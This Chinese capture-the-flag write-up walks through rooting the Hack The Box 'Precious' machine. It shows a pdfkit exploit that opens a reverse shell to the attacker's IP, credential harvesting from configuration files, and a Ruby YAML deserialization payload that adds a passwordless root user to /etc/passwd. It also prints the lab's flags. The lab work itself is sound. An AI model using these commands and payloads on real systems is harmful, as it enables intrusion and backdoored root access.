目录
USER_FLAG:adf5793a876a190f0c08b3b6247cec32
ROOT_FLAG:f1f5fd20bc4c3cdfae0299947296fbb6
连接至HTB服务器并启动靶机
使用nmap对靶机TCP端口进行开放扫描
nmap -p- --min-rate=1500 -T5 -sS -Pn 10.10.11.189 
 
再次使用nmap对靶机22、80端口进行脚本、服务扫描
nmap -p 22,80 -sCV 10.10.11.189 

使用curl访问靶机80端口
curl -I http://10.10.11.189:80 
 
将该域名与靶机IP绑定
echo '10.10.11.189 precious.htb' >> /etc/hosts 
使用ffuf爆破一下子域
ffuf -u http://precious.htb/ -H 'Host: FUZZ.precious.htb' -w ../dictionary/subdomains-top20000.txt -t 200 -fc 302 

再使用ffuf对该域名路径FUZZ
ffuf -u http://precious.htb/FUZZ -w ../dictionary/Common-dir.txt -t 200 -fc 302 

使用浏览器访问该域名

这里直接就是一个提交一个URL到靶机上,初次之外也没有其他有用信息了
使用curl访问该域名响应头
curl -I http://precious.htb/ 
 
可以看到页面返回了一个Ruby,所以这页面很可能就是用ruby语言编写
本地编写一个test.txt文件
echo 'This is a test text' > test.txt 
利用python开启一个http服务
python -m http.server 7777 
靶机URL上传至将test.txt文件进行下载

点击Submit后成功进行了转换

使用exiftool工具查看该pdf信息
.\exiftool.exe .\vxwb2a1xjsyl4ljfe7saqov548euun2v.pdf 

使用searchsploit搜索关键词pdfkit
searchsploit pdfkit 

可以看到该EXP版本是符合我们这次的靶机利用要求的
将EXP拷贝到当前目录下
searchsploit -m 51293.py 
 
看一下该EXP需要填写的参数

使用Yakit抓包,看一下提交时的POST参数

本地侧nc开始监听
nc -lvnp 1425 
使用EXP获得反弹shell
python 51293.py -s 10.10.16.7 1425 -w http://precious.htb -p url 

本地侧nc收到回显
横向移动
提升TTY
script -c /bin/bash -q /dev/null 
查看系统中的用户
cat /etc/passwd 

可登录的用户:root、henry、ruby
我们切换到/tmp目录下
cd /tmp 
查找一切与conf字样相关的文件并将输出保存到res.txt文件
find / -name '*conf*' -type f 2>/dev/null | tee res.txt 
从res.txt文件中逐行读取文件内容,并匹配henry字样
cat res.txt | xargs -I {} sh -c 'cat {} | grep "henry"' 
 
如此这般便获得了henry的凭证
使用上述凭证通过SSH服务登录到靶机
ssh henry@10.10.11.189 

查找user_flag位置并查看其内容
USER_FLAG:adf5793a876a190f0c08b3b6247cec32
特权提升
查看当前用户可特权运行的命令
sudo -l 
 
查看update_dependencies.rb文件内容
cat /opt/update_dependencies.rb 
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
    YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end 
简单代码审计后可知,该ruby代码的作用是拿本地的gems库版本与dependencies.yml文件中写的版本进行比对

此处读取YAML文件引起了我的注意,因为它并没有指向具体YAML的绝对地址,这意味着如果我们运行特权命令这个文件将会在我们运行命令的当前目录下开始寻找
查找该文件位置
查看该文件权限分配
ls -l /opt/sample/dependencies.yml 
 
查看该文件内容
cat /opt/sample/dependencies.yml 
 
我尝试在网上搜索ruby中的YAML.load函数如何能执行命令

根据文中的描述,这个Payload可以导致RCE

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve
 
我在攻击机本地新建一个dependencies.yml文件,通过命令执行我尝试新建一个无密码管理员用户0dayhp
echo '0dayhp::0:0:0dayhp:/root:/bin/bash' >> /etc/passwd 
 
本地通过python开启一个http服务
python -m http.server 7777 
靶机进入/tmp目录下,下载该文件
wget http://10.10.16.7:7777/dependencies.yml -O dependencies.yml 
直接sudo运行无密码特权命令
查看/etc/passwd文件内容
cat /etc/passwd 

可以看到内容已经被成功添加进了/etc/passwd文件中
切换到0dayhp用户
su 0dayhp 
 
查看root_flag位置并查看其内容










